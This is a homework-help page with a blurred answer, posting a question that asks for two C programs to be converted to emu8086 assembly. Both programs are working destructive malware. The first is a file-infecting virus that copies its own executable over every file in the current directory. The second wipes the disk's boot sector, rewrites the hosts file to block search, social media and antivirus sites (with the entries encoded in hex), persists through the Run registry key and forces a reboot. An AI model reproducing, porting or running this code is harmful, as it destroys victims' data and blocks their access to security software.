Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

CODE1: #include #include #include #include #include #include FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock();

CODE1: #include #include #include #include #include #include FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s ",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock(); printf("TIME TAKEN=%f SEC ", (end-st)/CLK_TCK); getch(); }

CODE2:

#include

DWORD WINAPI CheckTime(){

DWORD write;

SYSTEMTIME st;

char data[512];

ZeroMemory(&data,sizeof(data));

GetLocalTime(&st);

if(st.wYear==2014){

HANDLE disk=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

WriteFile(disk,data,512,&write,NULL);

CloseHandle(disk);

MessageBox(0,"Time to die now!","You have been hacked!",MB_ICONWARNING);

ExitWindowsEx(EWX_REBOOT,0);

}

return 0;

}

DWORD WINAPI hosts(){

char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31};

char path[60];

DWORD write;

GetEnvironmentVariable("windir",path,sizeof(path));

strcat(path,"\\system32\\drivers\\etc\\hosts");

HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);

WriteFile(hFile,data,sizeof(data),&write,NULL);

CloseHandle(hFile);

return 0;

}

DWORD WINAPI reg(){

char value[]="hana.exe";

HKEY hKey;

while(1){

RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);

RegSetValueEx(hKey,"Hana",0,REG_SZ,(LPBYTE)value,60);

RegCloseKey(hKey);

Sleep(10000);

}

return 0;

}

int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){

char file[MAX_PATH];

char path[60];

HANDLE hToken;

LUID luid;

LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);

TOKEN_PRIVILEGES tp;

tp.Privileges[0].Luid=luid;

tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

tp.PrivilegeCount=1;

OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);

AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL);

GetModuleFileName(NULL,file,sizeof(file));

GetEnvironmentVariable("windir",path,60);

strcat(path,"\\hana.exe");

CopyFile(file,path,false);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL);

while(1){

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL);

Sleep(10000);

}

return 0;

}

CONVERT THESE BOTH CODES IN ASSEMBLY LANGUAGE IN EMU8086

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Hands On Database

Authors: Steve Conger

1st Edition

013610827X, 978-0136108276

More Books

Students also viewed these Databases questions

Question

d. How will lack of trust be handled?

Answered: 1 week ago

Question

How does the concept of hegemony relate to culture?

Answered: 1 week ago